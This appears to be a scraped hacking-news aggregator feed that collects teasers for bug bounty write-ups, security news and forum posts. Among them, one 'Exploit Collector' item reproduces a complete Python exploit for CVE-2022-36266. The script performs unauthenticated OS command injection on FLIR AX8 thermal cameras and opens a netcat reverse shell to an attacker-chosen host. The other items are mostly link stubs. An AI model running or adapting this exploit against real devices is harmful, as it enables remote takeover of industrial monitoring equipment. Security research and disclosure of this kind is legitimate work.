author : — SATYAMPContinue reading on Medium » (https://medium.com/@satyampathania14/my-bug-bounty-resources-1556e96bb212?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

My Bug Bounty Resources

author : — SATYAMPContinue reading on Medium »
Read more...

Account takeover worth $1000

How I was able to find account takeover bug in one of the biggest organization in the worldContinue reading on Medium »
Read more...

Exploit Collector
FLIX AX8 1.46.16 Remote Command Execution

https://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png FLIR AX8 versions 1.46.16 and below unauthenticated remote OS command injection exploit.

SHA-256 | c15429c7636538e3c66b41a8e08cead26806777a1c4d976fe977decddd2d2157Download # -*- coding: utf-8 -*-

# Exploit Title: FLIR AX8 Unauthenticated OS Command Injection
# Date: 8/19/2022
# Exploit Author: Samy Younsi Naqwada (https://samy.link)
# Vendor Homepage: https://www.flir.com/
# Software Link: https://www.flir.com/products/ax8-automation/
# PoC: https://www.youtube.com/watch?v=dh0_rfAIWok
# Version: 1.46.16 and under.
# Tested on: FLIR AX8 version 1.46.16 (Ubuntu)
# CVE : CVE-2022-36266

from __future__ import print_function, unicode_literals
from bs4 import BeautifulSoup
import argparse
import requests
import json
import urllib3
urllib3.disable_warnings()

def banner():
flirLogo = """
███████╗██╗ ██╗██████╗
██╔════╝██║ ██║██╔══██╗
█████╗ ██║ ██║██████╔╝
██╔══╝ ██║ ██║██╔══██╗
██║ ███████╗██║██║ ██║
╚═╝ ╚══════╝╚═╝╚═╝ ╚═╝
.---------------------.
█████╗ ██╗ ██╗ █████╗ /--'--.------.--------/|
██╔══██╗╚██╗██╔╝██╔══██╗ |Say :) |__Ll__| [==] ||
███████║ ╚███╔╝ ╚█████╔╝ |cheese!| .--. | '''' ||
██╔══██║ ██╔██╗ ██╔══██╗ | |( () )| ||
██║ ██║██╔╝ ██╗╚█████╔╝ | | `--` | |/
╚═╝ ╚═╝╚═╝ ╚═╝ ╚════╝ `-------`------`------`

\033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m
\033[1;91mFLIR AX8 Unauthenticated OS Command Injection\033[1;m
FOR EDUCATIONAL PURPOSE ONLY.
"""
return print('\033[1;94m{}\033[1;m'.format(flirLogo))

def pingWebInterface(RHOST, RPORT):
url = 'http://{}:{}/login/'.format(RHOST, RPORT)
response = requests.get(url, allow_redirects=False, verify=False, timeout=60)
try:
if response.status_code != 200:
print('[!] \033[1;91mError: FLIR AX8 device web interface is not reachable. Make sure the specified IP is correct.\033[1;m')
exit()
soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
version = soup.find('p', id = 'login-title').string
print('[INFO] {} detected.'.format(version))
except:
print('[ERROR] Can\'t grab the device version...')
def execReverseShell(RHOST, RPORT, LHOST, LPORT):
url = 'http://{}:{}/res.php'.format(RHOST, RPORT)
payload = 'rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20{}%20{}%20%3E%2Ftmp%2Ff'.format(LHOST, LPORT)
data = 'action=alarm&id=2;{}'.format(payload)

headers = {
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
}

try:
print('[INFO] Executing reverse shell...')
response = requests.post(url, headers=headers, data=data, allow_redirects=False, verify=False)
print('Reverse shell successfully executed. {}:{}'.format(LHOST, LPORT))
return
except Exception as e:
print('Reverse shell failed. Make sure the FLIR AX8 device can reach the host {}:{}').format(LHOST, LPORT)
return False
def main():
banner()
args = parser.parse_args()
pingWebInterface(args.RHOST, args.RPORT)
execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on FLIR AX8 devices.', add_help=False)
parser.add_argument('--RHOST', help="Refers to the IP of the target machine. (FLIR AX8 device)", type=str, required=True)
parser.add_argument('--RPORT', help="Refers to the open port of the target machine.", type=int, required=True)
parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True)
parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True)
main() Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Chrome content::ServiceWorkerVersion::MaybeTimeoutRequest Heap Use-After-Free

https://3.bp.blogspot.com/-ZdpKmdYlHbY/WWlu_uhv-yI/AAAAAAAAIKA/GrhbPhfNXpolamaXsSLRo9Cb0FKriXUgQCLcBGAs/s1600/h12.png
Chrome suffers from a heap use-after-free vulnerability in content::ServiceWorkerVersion::MaybeTimeoutRequest. Google Chrome version 103.0.5060.53 and Chromium version 105.0.5134.0 are affected.

SHA-256 | a5cedab667714abf085c2a940066ea32b5ec7735eceff8cf7a6da8ce5a4eae7b

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
IOS finally patched Pegasus?

Given that apple have found a vulnerability in IOS that allowed the attacker to totally take control of an IOS device, do you think that apple have finally cracked down on the Israeli hacker for hire tool that seems to be able to do just that?

submitted by /u/adyman95
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Zero Day Initiative — But You Told Me You Were Safe: Attacking the Mozilla Firefox Renderer (Part 1)

https://external-preview.redd.it/9tpuF9Dk4kWxN-YOXY65l6nBjn16OB9hbMpu6qT_3VM.jpg?width=640&crop=smart&auto=webp&s=489bf7bad5ff70a3a1cec786ec9ae73094db5f19 submitted by /u/bartturner
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Account takeover worth $1000
https://medium.com/@faique/account-takeover-worth-1000-611452063cf?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

How I was able to find account takeover bug in one of the biggest organization in the worldContinue reading on Medium » (https://medium.com/@faique/account-takeover-worth-1000-611452063cf?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Cyber Resiliency Isn't Just About Technology, It's About People

To lessen burnout and prioritize staff resiliency, put people in a position to succeed with staffwide cybersecurity training to help ease the burden on IT and security personnel.

Hacking on Medium
Your fingerprints on the touch screen can be traced by hackers

https://cdn-images-1.medium.com/max/640/0*68luBm-C5JQPKfhH.jpg
https://www.techfervor365.com/2022/08/your-fingerprints-on-touch-screen-can.html

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Google Cloud bloquea un ataque DDoS récord de 46 millones de solicitudes por segundo

https://cdn-images-1.medium.com/max/1192/0*v2O1JEZUDYpvVRBz
La división de nube de Google reveló el jueves que mitigó una serie de ataques de denegación de servicio (DDoS) distribuidos HTTPS que…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
My Bug Bounty Resources

https://cdn-images-1.medium.com/max/875/0*CCcdFwVFmPqzfMjk.png
author : — SATYAMP

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
[Jailbreak] Tutorial downgrade from iOS 15.6.1 to iOS 14.6 with sunst0rm

https://cdn-images-1.medium.com/max/1280/1*3MquiS4kJGd6UF_H9VmHAQ.jpeg
Hi! After reading the articles online and successfully downgraded from iOS 15.6.1 to iOS 14.6. I will describe to you the steps below

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video